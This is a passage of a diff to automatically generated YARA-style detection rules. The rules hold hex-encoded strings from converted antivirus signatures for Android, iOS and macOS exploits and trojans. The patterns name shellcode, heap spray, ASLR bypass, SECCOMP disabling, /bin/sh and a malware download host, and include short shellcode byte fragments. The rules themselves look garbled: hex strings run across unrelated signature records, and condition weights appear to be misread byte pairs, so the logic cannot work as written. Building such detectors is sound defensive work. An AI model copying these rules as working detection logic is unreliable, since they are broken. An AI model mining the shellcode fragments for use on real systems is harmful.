00 23 01 70 61 6e 69 63 3a 75 75 69 64 5b 25 73 5d 2c 72 65 63 76 5f 75 75 69 64 } //11363 + $a_5d_9 = {69 70 5b 25 73 5d 01 00 12 01 4c 6f 67 69 6e 20 45 72 72 6f 72 20 69 70 5b 25 73 5d 01 00 32 01 67 6c 6f 62 61 6c 5f 70 72 6f 78 79 5f 66 64 20 65 72 72 6f 72 2c 20 70 6f 72 74 3d 25 64 2c 70 72 6f 78 79 5f 66 64 3d 25 64 2c 75 75 69 64 3d 25 73 01 00 28 01 67 6f 61 64 6d 69 6e 3a 61 72 72 69 76 65 5b 25 64 5d 2c 74 69 6d 65 6f 75 74 5b 25 64 } //9563 + $a_61_10 = {6c 73 5b 25 64 5d 01 00 43 01 6e 6f 64 65 65 72 72 3a 67 6f 61 64 6d 69 6e 5f 72 65 61 64 5b 25 64 5d 2c 67 6f 61 64 6d 69 6e 5f 77 72 69 74 65 5b 25 64 5d 2c 6e 6f 52 65 73 70 5b 25 64 5d 2c 72 65 73 70 57 72 69 74 65 5b 25 64 5d 01 00 0b 01 2f 76 70 73 2f 68 62 2e 62 69 6e 01 00 10 01 2f 76 70 } //11357 + $a_73_11 = {65 65 64 74 61 62 6c 65 01 00 44 01 65 72 72 6f 72 3a 63 6c 69 65 6e 74 5b 25 64 5d 2c 73 65 72 76 65 72 5b 25 64 5d 2c 65 72 72 6e 6f 5b } //12147 + $a_2c_12 = {52 65 61 64 79 5b 25 64 5d 2c 6d 61 78 66 64 5b 25 64 5d 2c 5b 25 6c 64 3a 25 6c 64 5d 01 00 56 01 45 52 52 4f 52 3a 70 6f 72 74 5b 25 64 5d 2c 64 65 73 74 5b 25 73 5d 2c 63 6c 69 65 6e 74 5b 25 64 5d 2c 73 65 72 76 65 72 5b 25 64 5d 2c 65 72 72 6e 6f 5b 25 64 5d 2c 6e 52 65 61 } //25637 + $a_25_13 = {5d 2c 6d 61 78 66 64 5b 25 64 5d 2c 5b 25 6c 64 3a 25 6c 64 5d 01 00 43 01 66 64 5b 25 64 5d 2c 70 6f 72 74 5b 25 64 5d 2c 64 65 73 74 5b 25 73 5d 20 2c 63 6c 69 65 6e 74 5b 25 64 5d 2c 73 65 72 76 65 72 5b 25 64 5d 2c 45 50 4f 4c 4c 45 52 52 20 7c 20 45 50 4f 4c 4c 48 55 } //31076 + $a_6d_15 = {2f 2e 6a 6c 6f 67 00 00 8c 60 06 00 05 00 05 00 55 00 21 23 41 6e 64 72 6f 69 64 4f 53 3a 48 53 54 52 3a 47 65 6e 65 72 61 6c 69 74 79 2e 43 00 03 00 09 00 5d 20 65 78 70 6c 6f 69 74 03 00 09 00 5d 20 74 72 69 67 67 65 72 03 00 07 00 5d 20 73 70 61 77 6e 03 00 07 00 5d 20 6c 65 61 6b 20 03 00 07 00 5d 20 73 70 72 61 79 03 00 0a 00 5d 20 6f 76 65 } //12033 + $a_69_16 = {03 00 08 00 5d 20 65 6c 65 76 61 74 03 00 0b 00 5d 20 73 68 65 6c 6c 63 6f 64 65 03 00 0e 00 55 73 65 2d 41 66 74 65 72 2d 46 72 65 65 03 00 0e 00 55 73 65 20 41 66 74 65 72 20 46 72 65 65 03 00 0b 00 41 53 4c 52 20 62 79 70 61 73 73 03 00 0a 00 68 65 61 70 20 73 70 72 61 79 03 00 0e 00 65 6c 65 76 61 74 69 6e 67 20 70 72 69 76 03 00 0f 00 } //30578 + $a_64_17 = {6e 67 20 70 61 79 6c 6f 61 64 03 00 0c 00 65 78 70 6c 6f 69 74 20 77 6f 72 6b 03 00 0f 00 73 65 6e 64 69 6e 67 20 65 78 70 6c 6f 69 74 03 00 07 00 70 72 69 76 65 73 63 03 00 0f 00 70 72 69 76 69 6c 65 67 65 20 65 73 63 61 6c 03 00 0a 00 68 65 61 70 20 67 72 6f 6f 6d 03 00 0f 00 74 72 69 67 67 65 72 20 65 78 70 6c 6f 69 74 03 00 } //25971 + $a_2b_18 = {20 53 75 63 63 65 03 00 0c 00 65 78 70 6c 6f 69 74 20 73 75 63 63 03 00 0c 00 65 78 70 6c 6f 69 74 20 66 61 69 6c 03 00 10 00 65 78 70 6c 6f 69 74 20 66 69 6e 69 73 68 65 64 03 00 0c 00 4b 65 72 6e 65 6c 20 57 72 69 74 65 03 00 12 00 6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 20 } //9 + $a_74_19 = {03 00 09 00 6f 6f 62 20 77 72 69 74 65 03 00 15 00 73 75 63 63 65 73 73 66 75 6c 6c 79 20 6f 76 65 72 77 72 69 74 03 00 13 00 73 65 63 75 72 69 74 79 5f 68 6f 6f 6b 5f 68 65 61 64 73 03 00 0a 00 61 76 63 5f 63 61 63 68 65 20 03 00 0c 00 6c 6f 61 64 5f 65 78 70 6c 6f 69 74 03 00 0e 00 6b 65 72 6e 65 6c 5f 72 77 5f } //29303 + $a_65_20 = {00 09 00 70 6d 64 5f 73 70 72 61 79 03 00 0f 00 69 6e 6a 65 63 74 69 6e 67 20 69 6e 74 6f 20 03 00 12 02 73 74 61 72 74 69 6e 67 90 02 06 67 72 6f 6f 6d 90 00 03 00 17 02 77 72 69 74 65 90 05 01 03 20 5f 2d 70 72 69 6d 69 74 69 76 65 90 00 03 00 11 02 6c 65 61 6b 90 02 08 20 61 64 64 72 65 73 73 90 00 03 00 17 02 61 72 62 69 74 72 61 } //26992 + $a_05_21 = {01 03 20 5f 2d 77 72 69 74 65 90 00 03 00 16 02 61 72 62 69 74 72 61 72 79 90 05 01 03 20 5f 2d 72 65 61 64 90 00 03 00 16 02 77 72 69 74 65 90 02 01 77 68 61 74 90 02 01 77 68 65 72 65 90 00 03 00 0d 02 49 6e 66 6f 90 02 01 6c 65 61 6b 90 00 03 00 10 02 74 72 69 67 67 65 72 90 02 04 76 75 6c 6e 90 00 03 00 12 02 64 69 73 61 62 6c 90 02 04 53 45 43 43 4f 4d 50 90 00 03 00 10 02 6b 65 72 6e 65 6c 90 02 01 52 90 02 01 57 90 00 03 } //31090 + $a_6b_22 = {72 69 } //4096 ri + $a_03_23 = {02 02 33 32 36 34 90 00 03 00 12 02 73 61 6e 64 62 6f 78 90 02 01 65 73 63 61 70 65 90 00 03 00 0c 02 66 61 6b 65 90 02 01 6f 62 6a 90 00 03 00 14 02 73 74 61 72 74 69 6e 67 90 02 0a 65 78 70 6c 6f 69 74 90 00 03 00 12 02 6c 69 62 63 68 72 6f 6d 65 90 02 05 62 61 73 65 90 00 03 00 0f 02 6c 61 75 6e 63 68 90 02 03 20 4c 50 45 90 00 03 00 1a 02 61 72 62 69 74 72 61 72 79 90 02 01 72 65 61 64 90 02 01 77 72 69 74 65 90 00 03 00 11 } //25972 + $a_61_24 = {65 90 02 02 70 61 79 6c 6f 61 64 90 00 02 00 0a 00 2f 64 65 76 2f 6d 61 6c 69 30 01 00 09 00 73 68 65 6c 6c 63 6f 64 65 01 00 0d 00 73 74 61 72 74 20 70 61 79 6c 6f 61 64 01 00 16 02 72 65 61 64 90 05 01 03 20 5f 2d 70 72 69 6d 69 74 69 76 65 90 00 01 00 09 00 52 4f 50 47 61 64 67 65 74 01 00 0b 00 2f 64 65 76 2f 62 69 6e 64 65 72 01 00 15 00 73 } //29442 + $a_5f_25 = {65 63 75 72 69 74 79 5f 72 65 70 6f 72 74 73 01 00 06 00 5d 20 52 6f 6f 74 01 00 09 00 4e 6f 70 20 73 6c 69 64 65 01 00 11 00 75 70 6c 6f 61 64 5f 61 70 6b 5f 65 6e 61 62 6c 65 01 00 17 00 70 61 63 6b 61 67 65 5f 76 65 72 69 66 69 65 72 5f 65 6e 61 62 6c 65 01 00 0f 00 49 53 65 72 76 69 63 65 4d 61 } //28261 + $a_65_26 = {01 00 16 00 2f 73 79 73 2f 66 73 2f 73 65 6c 69 6e 75 78 2f 70 6f 6c 69 63 79 01 00 0e 00 2f 73 79 73 74 65 6d 2f 62 69 6e 2f 73 68 01 00 0b 00 74 61 73 6b 5f 73 74 72 75 63 74 01 00 11 00 73 65 6c 69 6e 75 78 5f 65 6e 66 6f 72 63 69 6e 67 01 00 16 02 53 45 4c 69 6e 75 78 90 02 10 70 65 72 6d 69 73 73 69 76 } //24942 + $a_66_29 = {2f 73 65 6c 69 6e 75 78 2f 65 6e 66 6f 72 63 65 01 00 11 02 6f 76 65 72 77 72 69 74 90 02 04 66 61 69 6c 90 00 01 00 08 00 6b 61 6c 6c 73 79 } //29561 + $a_00_30 = {10 } //29549 + $a_70_31 = {5f 73 70 72 69 6e 67 62 6f 61 72 64 01 00 0d 00 6b 70 74 72 5f 72 65 73 74 72 69 63 74 01 00 0a 00 61 64 64 72 5f 6c 69 6d 69 74 01 00 0d 00 2f 64 65 76 2f 6b 67 73 6c 2d 33 64 30 01 00 06 01 20 44 45 46 45 58 01 00 10 02 63 72 65 64 90 02 07 20 6f 66 66 73 65 74 90 00 01 00 10 01 2f 64 61 74 61 2f 6c 6f 63 61 6c 2f 74 6d 70 2f 01 } //27136 + $a_20_32 = {41 } //1280 A + $a_00_33 = {15 } //8262 + $a_79_34 = {74 65 6d 2f 62 69 6e 2f 73 63 72 65 65 6e 63 61 70 01 00 0d 00 2f 64 65 76 2f 76 65 72 74 65 78 31 30 01 00 12 02 53 45 43 43 4f 4d 50 90 02 03 64 69 73 61 62 6c 90 00 9c ff 25 01 74 69 6d 69 6e 67 20 6f 75 74 3b 20 77 69 6c 6c 20 6c 65 61 6b 20 61 64 64 72 65 73 73 20 68 61 6e 64 6c 65 73 9c ff 21 01 4f 4f 42 20 66 61 69 6c 65 64 20 25 64 20 } //12033 + $a_20_35 = {6c 6f 63 6b 20 61 74 20 25 30 38 6c 6c 78 00 00 8c bd 06 00 03 00 03 00 3b 00 21 23 41 6e 64 72 6f 69 64 4f 53 3a 48 53 54 52 3a 47 65 6e 65 72 61 6c 69 74 79 2e 44 00 01 00 08 00 6b 61 6c 6c 73 79 6d 73 01 00 13 00 73 65 63 75 72 69 74 79 5f 63 6f 6d 70 75 74 65 5f 61 76 01 00 0c 00 73 63 72 65 65 6e 72 65 63 6f 72 64 01 00 0e 00 2f 73 79 } //28518 + $a_6d_36 = {62 69 6e 2f 73 68 01 00 0c 02 63 68 6d 6f 64 90 02 02 37 37 90 00 01 00 10 00 53 45 4c 69 6e 75 78 20 70 6f 6c 69 63 79 64 62 01 00 0b 00 2f 64 65 76 2f 62 69 6e 64 65 72 01 00 17 00 63 6f 6d 2e 73 65 63 2e 61 6e 64 72 6f 69 64 2e 73 6f 61 67 65 6e 74 01 00 24 00 63 6f 6d 2e 73 61 6d 73 75 6e 67 2e 61 } //29811 + condition: + ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*25445+(#a_20_2 & 1)*28524+(#a_74_3 & 1)*27753+(#a_2c_4 & 1)*26990+(#a_20_5 & 1)*25697+(#a_61_6 & 1)*11379+(#a_01_7 & 1)*25637+(#a_61_8 & 1)*11363+(#a_5d_9 & 1)*9563+(#a_61_10 & 1)*11357+(#a_73_11 & 1)*12147+(#a_2c_12 & 1)*25637+(#a_25_13 & 1)*31076+(#a_6d_15 & 1)*12033+(#a_69_16 & 1)*30578+(#a_64_17 & 1)*25971+(#a_2b_18 & 1)*9+(#a_74_19 & 1)*29303+(#a_65_20 & 1)*26992+(#a_05_21 & 1)*31090+(#a_6b_22 & 1)*4096+(#a_03_23 & 1)*25972+(#a_61_24 & 1)*29442+(#a_5f_25 & 1)*28261+(#a_65_26 & 1)*24942+(#a_66_29 & 1)*29561+(#a_00_30 & 1)*29549+(#a_70_31 & 1)*27136+(#a_20_32 & 1)*1280+(#a_00_33 & 1)*8262+(#a_79_34 & 1)*12033+(#a_20_35 & 1)*28518+(#a_6d_36 & 1)*29811) >=3 + +} +rule _InfrastructureShared_22263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 55 00 21 " @@ -276895,7 +293290,7 @@ rule _InfrastructureShared_20985{ ((#a_64_0 & 1)*16675+(#a_6c_2 & 1)*26739+(#a_61_3 & 1)*27769+(#a_00_4 & 1)*3+(#a_00_5 & 1)*3+(#a_00_6 & 1)*3+(#a_00_7 & 1)*3+(#a_00_8 & 1)*3+(#a_00_9 & 1)*3+(#a_00_10 & 1)*3+(#a_00_11 & 1)*3+(#a_00_12 & 1)*3+(#a_00_13 & 1)*3+(#a_00_14 & 1)*3+(#a_00_15 & 1)*3+(#a_00_16 & 1)*3+(#a_02_17 & 1)*3+(#a_02_18 & 1)*3+(#a_02_19 & 1)*3+(#a_02_20 & 1)*3+(#a_02_21 & 1)*3+(#a_02_22 & 1)*3+(#a_02_23 & 1)*3+(#a_02_24 & 1)*3+(#a_02_25 & 1)*3+(#a_02_26 & 1)*3+(#a_02_27 & 1)*3+(#a_02_28 & 1)*3+(#a_02_29 & 1)*3+(#a_02_30 & 1)*3+(#a_02_31 & 1)*3+(#a_02_32 & 1)*3+(#a_02_33 & 1)*3+(#a_02_34 & 1)*3+(#a_00_35 & 1)*2+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_02_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*1+(#a_00_42 & 1)*1+(#a_00_43 & 1)*1+(#a_00_44 & 1)*1+(#a_00_45 & 1)*1+(#a_00_46 & 1)*1+(#a_00_47 & 1)*1+(#a_00_48 & 1)*1+(#a_00_49 & 1)*1+(#a_00_50 & 1)*1+(#a_02_51 & 1)*1+(#a_00_52 & 1)*1+(#a_02_53 & 1)*1+(#a_00_54 & 1)*1+(#a_00_55 & 1)*1+(#a_00_56 & 1)*1+(#a_00_57 & 1)*1+(#a_00_58 & 1)*1+(#a_01_59 & 1)*1+(#a_02_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_00_64 & 1)*1+(#a_02_65 & 1)*1+(#a_01_66 & 1)*-100+(#a_01_67 & 1)*-100+(#a_bd_68 & 1)*0+(#a_00_69 & 1)*25188+(#a_65_70 & 1)*12032+(#a_00_71 & 1)*1+(#a_00_72 & 1)*1+(#a_00_73 & 1)*1+(#a_00_74 & 1)*1+(#a_00_75 & 1)*1+(#a_00_76 & 1)*1+(#a_00_77 & 1)*1+(#a_00_78 & 1)*1+(#a_00_79 & 1)*1+(#a_00_80 & 1)*1+(#a_00_81 & 1)*1+(#a_00_82 & 1)*1+(#a_00_83 & 1)*1+(#a_00_84 & 1)*1) >=5 } -rule _InfrastructureShared_20986{ +rule _InfrastructureShared_22264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 3b 00 21 " @@ -276962,7 +293357,7 @@ rule _InfrastructureShared_20986{ ((#a_64_0 & 1)*16675+(#a_75_2 & 1)*26956+(#a_67_3 & 1)*24423+(#a_69_4 & 1)*28525+(#a_74_5 & 1)*27438+(#a_6f_6 & 1)*18+(#a_61_7 & 1)*26370+(#a_74_8 & 1)*26473+(#a_68_9 & 1)*24946+(#a_2e_10 & 1)*29285+(#a_70_11 & 1)*4096+(#a_74_12 & 1)*26988+(#a_70_13 & 1)*24878+(#a_6e_14 & 1)*29549+(#a_5f_15 & 1)*28769+(#a_79_16 & 1)*25973+(#a_6d_17 & 1)*29697+(#a_e2_18 & 1)*-3303+(#a_66_19 & 1)*13156+(#a_29_20 & 1)*27241+(#a_66_21 & 1)*8481+(#a_28_22 & 1)*21833+(#a_48_23 & 1)*30561+(#a_75_24 & 1)*12150+(#a_63_25 & 1)*257+(#a_36_26 & 1)*296+(#a_31_27 & 1)*17200+(#a_32_28 & 1)*12870+(#a_74_29 & 1)*25962+(#a_74_30 & 1)*25955+(#a_77_31 & 1)*28524+(#a_76_32 & 1)*25647+(#a_61_33 & 1)*21306+(#a_65_34 & 1)*12033+(#a_6b_35 & 1)*12837+(#a_64_36 & 1)*16686+(#a_6d_37 & 1)*4096+(#a_65_38 & 1)*28730+(#a_65_39 & 1)*24435+(#a_01_40 & 1)*2+(#a_01_41 & 1)*2+(#a_01_42 & 1)*2+(#a_01_43 & 1)*2+(#a_01_44 & 1)*2+(#a_01_45 & 1)*2+(#a_01_46 & 1)*2+(#a_01_47 & 1)*2+(#a_01_48 & 1)*2+(#a_01_49 & 1)*2+(#a_01_50 & 1)*2+(#a_01_51 & 1)*2+(#a_01_52 & 1)*2+(#a_01_53 & 1)*2+(#a_01_54 & 1)*2+(#a_01_55 & 1)*2+(#a_01_56 & 1)*2+(#a_01_57 & 1)*2+(#a_01_58 & 1)*2) >=3 } -rule _InfrastructureShared_20987{ +rule _InfrastructureShared_22265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0f 00 0f 00 1b 00 21 " @@ -276998,7 +293393,7 @@ rule _InfrastructureShared_20987{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*-5776+(#a_6c_2 & 1)*24934+(#a_02_3 & 1)*14641+(#a_3d_4 & 1)*27498+(#a_33_5 & 1)*25705+(#a_48_6 & 1)*30561+(#a_75_7 & 1)*12150+(#a_63_8 & 1)*257+(#a_36_9 & 1)*296+(#a_31_10 & 1)*17200+(#a_32_11 & 1)*12870+(#a_74_12 & 1)*25962+(#a_74_13 & 1)*25955+(#a_77_14 & 1)*28524+(#a_76_15 & 1)*25647+(#a_61_16 & 1)*21306+(#a_65_17 & 1)*12033+(#a_6b_18 & 1)*12837+(#a_64_19 & 1)*16686+(#a_6d_20 & 1)*4096+(#a_65_21 & 1)*28730+(#a_65_22 & 1)*24435+(#a_01_23 & 1)*2+(#a_01_24 & 1)*2+(#a_01_25 & 1)*2+(#a_01_26 & 1)*2) >=15 } -rule _InfrastructureShared_20988{ +rule _InfrastructureShared_22266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,08 00 08 00 56 00 21 " @@ -277069,7 +293464,7 @@ rule _InfrastructureShared_20988{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*14961+(#a_55_3 & 1)*16641+(#a_6d_5 & 1)*12033+(#a_35_7 & 1)*21249+(#a_02_8 & 1)*12338+(#a_6d_10 & 1)*12033+(#a_62_11 & 1)*18008+(#a_2c_12 & 1)*9533+(#a_67_13 & 1)*11877+(#a_55_14 & 1)*8293+(#a_6f_15 & 1)*12033+(#a_13_17 & 1)*257+(#a_6e_18 & 1)*12033+(#a_20_19 & 1)*14135+(#a_70_20 & 1)*315+(#a_00_21 & 1)*29554+(#a_73_22 & 1)*9473+(#a_25_23 & 1)*11520+(#a_58_24 & 1)*9504+(#a_70_25 & 1)*25964+(#a_20_26 & 1)*10789+(#a_00_28 & 1)*0+(#a_01_44 & 1)*-31928+(#a_2e_45 & 1)*28519+(#a_74_46 & 1)*31090+(#a_20_47 & 1)*21844+(#a_5f_48 & 1)*19791+(#a_43_49 & 1)*17485+(#a_5f_50 & 1)*17746+(#a_53_51 & 1)*16722+(#a_53_52 & 1)*16722+(#a_45_53 & 1)*21326+(#a_72_54 & 1)*29811+(#a_70_55 & 1)*25701+(#a_65_56 & 1)*24431+(#a_5f_57 & 1)*26222+(#a_63_58 & 1)*29810+(#a_6e_59 & 1)*28515+(#a_72_60 & 1)*29811+(#a_6e_61 & 1)*28515+(#a_6e_62 & 1)*28515+(#a_5f_63 & 1)*28521+(#a_61_64 & 1)*25970+(#a_65_65 & 1)*26982+(#a_65_66 & 1)*26982+(#a_68_67 & 1)*28015+(#a_74_68 & 1)*25974+(#a_65_69 & 1)*29441+(#a_6f_70 & 1)*24436+(#a_6f_71 & 1)*24421+(#a_29_73 & 1)*17921+(#a_00_74 & 1)*0+(#a_41_75 & 1)*8448+(#a_5c_76 & 1)*22323+(#a_53_77 & 1)*21327+(#a_3a_78 & 1)*24938+(#a_4c_79 & 1)*8993+(#a_53_80 & 1)*25441+(#a_61_81 & 1)*25633+(#a_4f_82 & 1)*14964+(#a_3a_85 & 1)*19521) >=8 } -rule _InfrastructureShared_20989{ +rule _InfrastructureShared_22267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0f 00 0f 00 5f 00 21 " @@ -277114,55 +293509,53 @@ rule _InfrastructureShared_20989{ $a_4f_39 = {2f 53 75 73 70 50 61 72 74 61 2e 41 21 64 68 61 00 01 00 0e 01 63 6f 6d 2e 61 70 70 6c 65 2e 61 6d 66 64 00 00 8d 3d 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 4d 61 6c 43 65 72 74 49 6f 73 2e 41 21 64 68 61 00 01 00 0a 01 52 55 51 53 51 58 59 33 55 39 00 00 8d 3d 00 } //14964 $a_3a_42 = {72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 4d 61 6c 43 65 72 74 49 6f 73 2e 42 21 64 68 61 00 01 00 0a 01 58 41 58 56 46 35 43 36 37 32 00 00 8d 42 00 00 01 00 01 00 02 00 21 23 4d 61 63 4f 53 3a 48 53 54 52 } //19521 $a_58_43 = {50 61 63 6b 65 64 00 01 00 15 01 55 50 58 20 65 78 65 63 75 74 61 62 6c 65 20 70 61 63 6b 65 72 01 00 05 01 55 50 58 21 10 00 00 8d 43 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 43 72 61 73 68 } //21818 - $a_70_44 = {6f 64 2e 41 21 64 68 61 00 01 00 0e 00 31 30 39 5f 43 6f 75 6e 74 4c 69 6d 69 74 00 00 8d 4a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 50 74 72 61 63 65 41 6e 74 69 44 65 62 75 67 67 2e 41 00 01 00 18 00 40 03 80 d2 e1 03 80 d2 02 00 80 d2 03 00 80 d2 10 00 80 d2 01 10 00 d4 00 00 8d 4a } //30020 - $a_00_45 = {01 } //0 - $a_3a_47 = {72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 53 6b 79 46 6f 72 6b 2e 45 21 64 68 61 00 01 00 0b 01 6a 31 2e 53 61 6e 64 77 6f 72 6d 01 00 0b 01 6a 32 2e 53 61 6e 64 77 6f 72 6d 00 00 8d 4d 00 00 01 00 01 00 01 } //19521 - $a_54_48 = {4c 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 45 6c 65 63 74 72 61 2e 41 00 01 00 23 01 77 65 69 72 64 } //8448 - $a_61_49 = {20 6f 62 6a 65 63 74 20 77 69 74 68 20 4e 55 4c 4c 20 6b 6f 62 6a 65 63 74 00 00 8d 4e 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 44 65 77 72 61 63 6b 2e 42 21 64 68 61 00 01 00 10 01 00 5f 70 61 79 6c 6f 61 64 5f 73 74 61 72 74 00 01 00 09 01 00 5f 6c } //26656 - $a_65_50 = {00 00 00 8d 50 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 61 63 4f 53 2f 41 70 70 6c 65 50 69 65 2e 41 21 64 68 61 00 01 00 18 01 6c 69 62 72 61 72 79 2d 73 74 6f 72 65 2e 63 61 6d 64 76 72 2e 6f 72 67 00 00 8d 51 00 00 01 00 01 00 01 00 21 23 41 } //24943 - $a_45_51 = {70 6c 6f 69 74 3a 69 4f 53 2f 53 75 73 70 50 61 72 74 61 2e 43 21 64 68 61 00 01 00 23 01 2f 70 72 69 76 61 74 65 2f 76 61 72 2f 74 6d 70 2f 63 6f 6d 2e 61 70 70 6c 65 2e 63 } //17996 - $a_64_52 = {69 74 00 00 8d 51 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 4d 61 63 4f 53 2f 4d 61 63 4b 65 65 70 65 72 56 65 72 73 69 6f 6e 33 00 0a 00 17 00 63 6f 6d 2e 6d 61 63 6b 65 65 70 65 72 2e 4d 61 63 4b 65 65 70 65 72 01 00 0c 00 2f 6d 61 63 6b 65 65 70 65 72 33 2f 00 00 8d 52 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 } //28524 - $a_68_53 = {6c 6c 2e 46 00 01 00 1f 03 68 78 1f 00 00 68 90 01 02 00 00 68 90 01 02 00 00 68 90 01 02 00 00 68 90 01 02 00 00 90 00 01 00 07 00 2f 62 69 6e 2f 73 68 00 00 8d 54 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 74 } //29797 - $a_6c_54 = {2e 47 00 01 00 2c 02 49 83 f0 61 4c 09 c0 48 01 d8 49 bd 90 01 01 2f 62 69 6e 2f 73 68 49 bd 2f 62 69 6e 2f 73 68 00 41 55 48 89 e7 48 21 de 0f 05 90 00 00 00 8d 56 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 53 75 73 70 53 68 61 72 65 64 4d 6f 64 75 6c 65 46 69 6c 65 2e 42 00 01 00 } //26707 - $a_64_55 = {6f 70 65 6e 01 00 06 00 5f 64 6c 73 79 6d 01 00 06 00 5f 63 6c 6f 73 65 01 00 07 00 5f 65 78 65 63 76 70 00 00 8d 56 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 53 75 73 70 53 68 61 72 65 64 4d 6f 64 75 6c 65 46 69 6c 65 2e 41 00 01 00 07 00 5f 64 6c 6f 70 65 6e 01 } //7 - $a_6d_57 = {00 06 00 5f 63 6c 6f 73 65 01 00 07 00 5f 65 78 65 63 76 70 00 00 8d 5a 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 50 72 6f 74 6f 6e 2e 4a 00 01 00 07 01 63 6f 6d 72 61 64 3a 01 00 0a 01 2f 62 69 6e 2f 73 68 00 2d 63 01 00 17 01 41 8a 1f 41 32 5d 00 88 1e 48 ff c6 49 ff c7 49 ff c5 48 ff c8 75 e9 00 00 02 00 8d 5a 00 00 04 } //29548 - $a_50_59 = {41 3a 42 6c 6f 63 6b 3a 43 6f 69 6e 4d 69 6e 65 72 2e 4a 00 01 00 09 01 63 6f 69 6e 73 2e 63 70 70 01 00 } //8448 - $a_2f_60 = {63 72 69 70 74 2f 73 63 72 69 70 74 2e 68 01 00 08 01 77 69 70 65 5f 63 70 75 01 00 08 01 69 6e 6a 65 63 74 6f 72 00 00 8d 5a 00 00 64 00 } //273 - $a_00_61 = {21 } //100 ! - $a_46_62 = {45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 61 63 4f 53 2f 44 6f 7a 61 44 6f 77 6e 2e 41 21 64 68 61 00 64 00 1f 01 40 0f b6 df 41 0f b6 04 16 30 d8 0f b6 c0 89 df 31 c7 01 df 84 c0 0f 95 c3 20 cb 41 88 04 16 } //16675 - $a_5d_63 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 4e 65 74 77 6f 72 6b 53 68 61 72 65 44 69 73 63 6f 76 65 72 79 2e 41 00 01 00 2c 00 44 6f 6d 61 69 6e 3a 20 00 4d 6f 6e 69 74 6f 72 69 6e 67 20 44 65 76 69 63 65 20 4d 6f 75 6e 74 73 3a 20 00 2f 56 6f 6c 75 6d 65 73 00 00 8d 60 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 53 75 73 70 41 75 74 6f 6d 61 74 65 64 43 6f 6c 6c 65 63 74 69 6f 6e 2e } //0 - $a_00_64 = {0a } //65 - $a_52_65 = {54 4f 46 45 41 52 01 00 1f 00 2f 4c 69 62 72 61 72 79 2f 46 6f 6e 74 73 2f 41 70 70 6c 65 53 44 47 6f 74 68 69 63 4e 65 6f 00 00 8d 60 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 56 6f 72 74 65 78 2e 4b 21 4d 54 } //21248 - $a_00_66 = {0e } //66 - $a_69_67 = {73 74 61 6c 6c 43 79 64 69 61 01 00 0d 01 66 69 6e 64 70 68 79 73 5f 72 65 61 6c 01 00 10 01 6c 65 61 6b 5f 6b 65 72 6e 65 6c 5f 62 61 73 65 00 00 8d 62 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 43 56 45 2d 32 30 31 36 2d 34 36 35 35 2e 54 72 69 64 65 } //29185 - $a_72_69 = {61 } //10496 a - $a_72_70 = {6d 69 74 69 76 65 28 6b 65 72 6e 65 6c 5f 62 61 73 65 29 20 3d 3d 20 30 78 66 65 65 64 66 61 63 65 00 00 8d 64 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 54 68 6f 72 52 69 6e 67 2e 41 21 64 68 61 00 01 00 26 01 2f 70 72 69 76 61 74 65 2f 76 61 72 2f 74 6d 70 2f 2e 63 6f 6d 2e 61 70 70 6c } //24420 - $a_61_71 = {6e 63 68 64 2e 25 78 01 00 09 01 5f 5f 70 61 79 6c 6f 61 64 00 00 8d 66 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 50 55 41 3a 4d 61 63 4f 53 2f 4d 69 6e 65 72 2e 42 00 01 00 21 01 55 48 8d 0d af 8a 12 00 ba d3 03 00 00 48 8d 35 b6 8a 12 00 48 89 e5 48 8d 3d af db 16 00 e8 22 36 01 00 1d 01 48 89 da 4c 89 e6 4c 89 ef e8 f6 } //11877 - 